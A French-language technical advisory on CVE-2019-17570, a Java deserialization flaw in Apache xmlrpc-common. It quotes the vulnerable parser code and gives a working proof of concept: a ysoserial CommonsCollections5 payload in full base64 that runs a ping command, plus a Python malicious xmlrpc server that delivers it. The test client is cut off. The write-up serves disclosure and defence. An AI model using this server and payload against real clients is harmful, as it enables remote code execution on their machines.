Vulnérabilité de désérialisation de xmlrpc-common

Cette note est une note technique détaillant la cause racine et l'exploit associé. Vous pouvez trouver la divulgation initiale ici. La CVE associée est CVE-2019-17570.

Description

xmlrpc-common constitue une base de code partagée entre xmlrpc-client et xmlrpc-server. Une vulnérabilité de désérialisation a été identifiée dans la méthode org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object). Elle permet à un serveur xmlrpc contrôlé par un attaquant d'envoyer une réponse xmlrpc malveillante qui déclenche une exécution de code à distance dans le client xmlrpc.

La désérialisation est déclenchée par l'utilisation de fautes (faults) xmlrpc, qui peuvent contenir un faultCause. Le contenu de ce nœud est traité comme un tableau d'octets, puis désérialisé en un objet Java à l'aide de readObject() :

protected void addResult(Object pResult) throws SAXException {
  if (isSuccess) {
    super.setResult(pResult);
  } else {
    Map map = (Map) pResult;
    Integer faultCode = (Integer) map.get("faultCode");
    if (faultCode == null) {
      throw new SAXParseException("Missing faultCode", getDocumentLocator());
    }
    try {
      errorCode = faultCode.intValue();
    } catch (NumberFormatException e) {
      throw new SAXParseException("Invalid faultCode: " + faultCode,
        getDocumentLocator());
    }
    errorMessage = (String) map.get("faultString");
    Object exception = map.get("faultCause");
    if (exception != null) {
      try {
        byte[] bytes = (byte[]) exception;
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        errorCause = (Throwable) ois.readObject();
        ois.close();
        bais.close();
      } catch (Throwable t) {
        // Ignore me
      }
    }
  }
}

La vulnérabilité est différente de CVE-2016-5003, qui exploite le type ex:serialized pour déclencher la désérialisation. Cette nouvelle vulnérabilité affecte xmlrpc-common même dans sa configuration par défaut, avec l'extension désactivée.

Technique d'exploitation

Bien que la vulnérabilité se situe dans xmlrpc-common, son exploitation nécessite l'utilisation d'une chaîne de gadgets (gadgets chain) pour obtenir une exécution de code à distance. La chaîne de gadgets dépend des classes disponibles dans le classpath. À des fins de démonstration, notre preuve de concept a ajouté Apache commons-collections-3.2.1 au classpath, et la chaîne de gadgets a été générée avec ysoserial.

Score de base CVSSv3 : 9.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact(s)

Un attaquant peut exécuter du code arbitraire dans le contexte d'un client xmlrpc utilisant une version vulnérable de xmlrpc-common.

Preuve de concept

Notre preuve de concept utilise un client de test xmlrpc écrit spécialement, et un serveur xmlrpc contrôlé par l'attaquant.

Serveur xmlrpc

Le but principal de ce serveur est de délivrer la charge utile sérialisée au client vulnérable. La charge utile sérialisée a été créée avec :

$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=

Le serveur lui-même est relativement simple et consiste principalement en :

def create_fault_deser(payload):
  return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>1337</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>You have been pwned</string></value>
        </member>
        <member>
          <name>faultCause</name>
          <value><base64>%s</base64></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>
''' % (payload)

class Handler(http.server.SimpleHTTPRequestHandler):
  def do_POST(self):
    self.send_response(200)
    self.send_header('Content-Type', 'text/xml')
    self.end_headers()

    self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))

httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()

La variable PING_COMMONS_COLLECTIONS utilisée ci-dessus est définie avec la sortie de la commande ysoserial.

Client xmlrpc de test

Le code source de notre client de test est :

package poc.xmlrpcdeser;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;

public class VulnerableClient {
    public static void main(String[] args) throws MalformedURLException, XmlRpcException {
        String domainName = "http://127.0.0.1:8888";